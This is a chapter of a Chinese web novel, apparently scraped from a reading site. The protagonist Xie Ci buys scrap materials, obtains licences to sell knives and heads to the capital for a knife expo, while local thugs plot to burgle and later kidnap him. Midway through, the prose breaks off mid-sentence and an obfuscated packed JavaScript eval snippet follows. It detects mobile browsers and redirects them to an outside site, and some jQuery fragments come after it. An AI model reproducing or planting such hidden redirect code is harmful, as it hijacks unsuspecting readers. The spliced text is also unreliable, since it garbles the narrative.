默认冷灰
24号文字
方正启体

5. 前往首都

作者:曦熠本书字数:K更新时间:
    谢瓷早就备齐了所有资料,闻言直接从楼梯间抽屉里取出来:“你自己找,缺什么就告诉我,我先把店关了。”


    丁元宁一眼就瞥到了矮柜上放着的四把刀,先捧起自己装饰好的匕首,狠狠亲了一口,接着开始观赏谢瓷下午新锻造的纯钢单手剑和蝴蝶刀。


    店里已经没什么客人了,周奶奶关了风扇,正靠在躺椅上,悠闲地扇着自己带来的蒲扇。


    看到谢茨出来,笑着招呼他:“小茨,晚上来家里吃饭,有你乐乐姐最拿手的红烧肉,你以前可爱吃了。”


    “奶奶,晚饭就先不吃了,我准备赶最后一班公交车去回收站。”


    周奶奶看看销售册,心下明了,当即扶着腰站起来,摆摆手催促道:“那你先去忙正事,别耽误了!”


    “小老板,我晚上正好要回首都,顺道把你捎上。”丁元宁听到两人的对话,探出脑袋,指了指门口那辆颇为醒目的灰色吉普车。


    “时间不早了,你们赶紧去,快去快回。”周奶奶挥挥手,不用谢茨送,自己一个人晃晃悠悠地踱步去了马路对面。


    谢瓷将今天赚到的现金装进背包,跟着丁元宁一起上车。


    车辆启动时,他看到从周奶奶家里走出来一个面熟的二十多岁女性,她笑着冲自己挥了挥手。


    正是五六年没怎么见过的周乐京。


    出了镇,乡间公路颠簸不平,谢瓷单手拉着扶手稳定身体,目光打量着车内。


    看得出丁元宁家境殷实,这辆车从外观到内饰处处都透着低调的高雅之感,性能也在这样崎岖的路段上得到了完美地展示。


    丁元宁专心开车,直到驶上通往首都的宽阔柏油路,这才开口:“中午我给你转了钱,记得去查收。”


    “好。”谢瓷点头,现在的银行转账还需要工作人员手动操作,确实有失误的可能。


    “咱们镇上的路再过一个月也要大修了,你有时间的话去学个车。我这辆车平时也是在单位吃灰,干脆放你家得了。”


    “驾照肯定要考,但我最近抽不出时间。”谢瓷眨眨眼,知道他的真实目的其实是看刀。


    丁元宁侧头看向谢茨,挤眉弄眼地说道:“那我能经常去你家不?”


    “随时可以,有想要的刀,直接告诉我。”路顺了,谢瓷松开手,慵懒地靠进皮制座椅里。


    晚风拂面,他浑身透着一股闲适,连语调也染上了几分懒洋洋的意味。


    说到刀,丁元宁可就来劲了,滔滔不绝地给谢茨讲起自己的收藏,直把他说得昏昏欲睡。


    一个多小时后,到了回收站,他这才意犹未尽地停下。


    谢瓷下车,匆匆告别,以近乎逃跑的姿态进了回收站的大铁门。


    这个回收站距离首都外环只有一个小时车程,占地数百亩,谢瓷走进来时,不由被微微震撼了一下。


    大门附近堆满了各种款式的废弃汽车,一眼望不到头。金属外壳上斑驳的锈迹蜿蜒如泪痕,在夕阳的余晖下泛着冷硬寂寥的光泽,仿佛一座现代文明的坟场。


    谢瓷收敛心神,震撼过后只觉得兴奋,他如同巨龙回归宝库,眼中闪烁着寻觅珍宝的光芒,埋首于这些被世人遗弃的“废料”之中。


    先按照订单挑选废旧家电,又从废车零件中挑选出半吨适合锻刀的钢材。


    和老板砍了半天价,最后也只是让老板出了包车运输的六百块钱。


    废家电装了快两辆车,一共花费七千,旧钢材只占了车底空间,花了谢瓷五千。


    想了想,谢瓷又买了一批九成新的砖头和水泥,把车填满。


    他计划在后院倚墙搭建两间小屋,一间当仓库,一间当冶炼室,告别现在露天锻造的日子。


    建小屋只是个开始,刀具许可获批后,店铺要重新改造,至少要增设监控和钢化玻璃展柜。——售卖管制刀具,必须实行封闭式管理,全程监控,并严格登记销售信息。


    东西陆续搬车,谢瓷继续在回收站内转悠,又看上一台半新的32寸液晶大彩电。


    这个他准备改造后,放在家里看新闻用。


    还从废纸堆里,淘出不少近期的报纸杂志和尚有价值的旧书。这些都是他加深对这个世界了解的重要窗口。


    大彩电和旧书又花了谢瓷1000,就这,回收站老板仍是一脸的肉疼。


    回到家,卸完货,谢瓷马不停蹄地赶往医院。


    今天原本是和谢藜约定好要接她回家的,但她还在沉睡,医生判断,她这次沉睡大概会持续3天到一周。


    望着病房内呼吸轻浅的女孩,谢瓷决定失约。


    家里实在太乱了,没办法隔绝病菌。最严重的是他改造电器时高温产生的有毒气体,会对谢藜的身体造成伤害。


    谢瓷又给妹妹预存了一周的住院费用。


    接下来的几日,生活被切割成规律的拼图。


    白天维修家电、整理院子、锻造刀具;夜晚探索游戏、看书汲取信息;期间他会开着电视听新闻。


    午饭和晚饭,他会提前买好食材去周奶奶家。有时是周奶奶做饭,有时是乐乐姐掌勺。


    饭菜都很好吃,谢瓷也快速和乐乐姐熟悉了起来。了解到她其实并不想回大城市上班,更想留在镇上创业,却又很纠结自己到底能做些什么,话语间满是社会打工人的迷茫踌躇。


    谢瓷和周奶奶都劝她从长计议,先休息一段时间再说。


    每次吃饭,谢瓷都不忘给银狼犬也带一份。


    他发现银狼犬从不会浪费食物,但它却愈发沉默了。


    即使换药时谢瓷特意给它涂抹祛疤膏,也看不到它眼中复杂的情绪波动了。


    菲斯特坚持了三天,终是败给了生理需求。


    从浴室出来时,银狼犬周身弥漫着低气压,灰蓝色的眼眸暗沉如渊,一度绝望地望向窗户。


    谢瓷想,它可能在考虑是否要跳下去,一了百了。


    于是起身走到窗户旁,一手抓着防盗栏用力摇晃,护栏纹丝不动,他挑眉看向狼犬:“看到了吗?很结实的。想‘散心’的话,走楼梯去天台,上边宽敞又通透。”


    菲斯特冲谢瓷呲了呲牙,趴下继续睡觉。


    补充食物确实有利于伤势恢复。


    等着吧……等自己伤好后……哼!


    谢瓷笑着转过身,双手撑在窗台上,俯身眺望岫水河潺潺的清澈流水。


    就在桥边,工人们拆下路灯上的老式监控,换上全新的广角夜视监控器。


    7月3号晚上,丁元宁一下班直奔谢瓷家。


    “啪!”


    一张薄薄的纸被拍在桌子上。


    “搞定了!接下来跑营业执照的事就交给你了。”说完,丁元宁熟门熟路地拿起暖水瓶给自己倒水,这个家里甚至已经有了他的专属水杯。


    谢瓷拿过证书仔细端详,神情愉悦地留丁元宁吃晚饭。


    最后上桌时,看着一桌的水煮大餐,丁元宁小心地一一尝过,最后满脸菜色,发誓再也不来蹭饭了。


    谢瓷觉得只是饭菜的味道淡了点,也不至于说难吃吧?


    正要反驳,却看到趴在地毯上的银狼犬竟然也默默别开了头,一副心虚默认的姿态。


    “信我,你做饭是很健康,但真的不好吃。”丁元宁抓住谢茨的手腕痛心疾首,一字一句却坚定的宛如立誓。


    菲斯特听到这里,忍不住颔首。


    谢瓷先是一愣,随即一股无名火在心底燃烧起来。


    一个两个竟然都在嫌弃他辛苦做出来的饭菜!特别是银狼犬,它都已经吃了好几天了!之前怎么不说!


    是没长嘴吗?!


    谢瓷低头,越想越气!


    “啪!”将筷子一放,他抱着双腿整个人缩进沙发角落里,咬着下唇冷哼:“哼!你们爱吃不吃!”


    暖黄灯光下,他那精致的面容迅速染上一层薄红,从脸颊一路蔓延到耳尖,宛如是天然的粉水晶,又像是白玉染上了霞光。琥珀色的眼眸也因怒火漾起一丝水光,显得格外清亮,看人时能把身影都倒映其中。


    那模样不像是生气,反而像是家里被主人吸到炸毛的猫,漂亮得惊人,带着一种未经雕饰的鲜活与生动。


    让人既想要继续抱着它吸,又忍不住想哄它开心。


    菲斯特和丁元宁都看愣了。


    “真……生气了!”丁元宁意识到自己可能又说错话了。


    而且,他一直小老板小老板的叫,但直到现在才意识到,谢茨虽然技术强悍、处事沉稳,到底也才是个刚成年的少年。


    好看的弟弟生起气来也不会惹人烦,只让人感觉率真可爱。


    居然会因为有人说他做饭不好吃而闹脾气。换了那帮子糙汉兄弟这样闹,自己早一巴掌呼到他脑袋上了。


    就连一贯矜持的银狼犬也专门站起身,步伐优雅缓慢地来到沙发旁,仰头观察谢茨的表情,灰蓝色的眼睛里闪过一抹无措与歉意。


    “老弟,是哥说话重了,你说,怎么才能让你消气?”丁元宁第一次哄人,抓耳挠腮地说完这段话,先把自己给逗笑了。


    或许是因为身体恢复了年轻,也或许是环境让他放松,一些情绪起伏很难压抑。但谢瓷生气只是一阵,不理他的话,一会他的火气就散了。


    此刻他已经恢复理智,回想生气的缘由,自己都觉得好笑,但是看他们此刻严阵以待的架势,顺势配合地演了下去。


    下巴微抬,示意桌上的饭菜:“那你们把饭吃完,我就不生气了。”


    在谢茨的“温柔”注视下,一人一狗硬着头皮,把那一桌饭菜全部消灭掉了。


    丁元宁瘫在椅子上捂着肚子直打嗝;向来姿态端正的银狼犬,此刻侧躺在地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16743658|189777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,四肢舒展,尾巴松松地遮着肚子,毫无形象可言。


    之后,谢瓷用了两个上午,在镇政府各部门间高效穿梭,办妥了手续,等着第二天去领新的营业执照。


    抽空,他把店铺里的东西做了个大清理,维修工具全部移到单独的一个门市间。


    他以后准备同时开两家店,维修铺照常营业,空出来的新店面装修后用来卖刀具武器。


    镇上唯一卖刀的是一家小超市,能卖的也只有菜刀和水果刀,但已经覆盖了附近村镇居民的生活需求。


    他要卖的刀属于收藏品和特殊用途,店铺可以开在镇上,但顾客却要另外寻找。


    这些天他一直在看新闻,对于如何寻找销路已经有了眉目。


    五号晚上8点,刚吃完晚饭。


    丁元宁熟门熟路地推门上楼,看到彩电上播放的关于首都刀展的新闻,和谢茨对视间,不由会心一笑。


    “你也注意到刀展的消息了。我本来就准备推荐你去参加的,只是想等证书齐全了再告诉你,免得你着急。”


    谢瓷第一眼就看到了丁元宁手里墨迹展新的营业执照,立刻起身接过。


    他等的就是这张证,有了它,就能申请自己的展台了。


    刀展本就是要宣传自家店铺的,外人想要寄卖刀具,要看老板脸色,还容易被坑。


    7月8号刀展正式开幕,报名截止到前一天。


    谢瓷把营业执照放进塑料文件夹里,转身开始收拾行李,他准备带着妹妹一起去首都。


    现在他手里有接近三万的可用资金,先安排谢藜入院体检,检测出第一次配药的费用。


    优惠政策如果能获批,谢藜就能尽快用上药。如果被拒绝了,那……谢瓷就再努力点。


    丁元宁帮着谢茨收拾他这些天的锻造成果,一共二十四把形制各异、寒光熠熠的刀剑匕首,每一把都堪称艺术品。就算看过很多遍,却还是会让他心痒难耐。


    菲斯特的伤已经有所好转,最重的伤口也已经结痂,并不需要每天都上药。


    此刻,它安静地趴在沙发上,下颌垫在沙发扶手上,视线追随着少年忙碌的身影,垂下的尾巴悠闲地摇晃。


    等着他对自己的安排。


    自己还没见过谢茨的妹妹,不知道她有多大年纪?


    然后……


    第二天一早,周乐京就看到一只银色的漂亮狼犬,脸色臭臭地趴在一人高的巨大铁笼里,被谢茨推入自家后院。


    菲斯特盯着讪笑的谢茨,暗自磨牙。


    虽然修成了亭子的模样,但!不!还!是!个!笼!子!吗!


    “乖啊!大宝贝,咱们说好了的,脸色不能这么难看,会吓到奶奶的。”


    谢瓷蹲下来凑近笼子,用各种甜言蜜语哄着银狼犬。


    耳边是温柔低沉的嗓音,眼前极近的距离是那张让他心跳加速的绝色面容,菲斯特在这样的冲击下,……可耻地动摇了。


    当周奶奶出现时,它瞬间放松身体,安静地闭眼趴下,听着老人惊叹地夸赞:“这就是你养的大狗,可真是漂亮又乖巧!”


    一句话,暴露了谢茨早有准备的事实!


    没等菲斯特发作,谢瓷已经和周奶奶说了再见,快速钻进丁元宁的车里。


    吉普快速启动,一溜烟消失不见。


    ·


    晚上,街上人影稀疏。


    一人戴着帽子口罩,踱步到谢茨家门口,凑近看清门上贴着的告示后快速离开。


    他一路小跑,钻进老街区的偏僻巷道,这里堆满附近居民丢弃的建筑垃圾,最里面有一个用木板和废旧垃圾搭成的简陋窝棚。


    他边摘口罩和帽子,边说着自己的发现。


    “浩哥,我先从后山看了他们家后院,里面有不少已经翻新好的家电。正门上贴了张告示,说是有事要离开一周。他们家里现在一个人都没有!”


    这里挤着的三个人,正是当初找谢茨麻烦的混混。


    屈志友和躺着的张朋是被派出所释放的无案底人员,浩哥则是没来得及跟着老大一起逃跑的打手。


    闻言他不耐烦地打断屈志友的话,满是胡茬和横肉的脸上,因兴奋显得格外扭曲:“老大跑路了,咱们兄弟几个总不能真就听他的话,在这安平镇里当个缩头乌龟。再继续下去,饭都要吃不上了!”


    “听我的,咱们想办法把那小子的后院搬空,拉到乡下把东西卖了,有了钱,想干什么都行!”


    “只偷东西,不报复那小子了!那……那我这顿打就白挨了?”张朋躺在床上,捂着因为激动而愈发刺疼的肋骨,不甘低吼,眼中满是怨毒。


    “白挨?”浩哥嗤笑一声,眼中闪过狠厉,“放心,忘不了!这次咱们先把他们家摸清,等这阵风头过去,找个晚上,把那小子绑了,随你怎么出气!想怎么报复都行!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)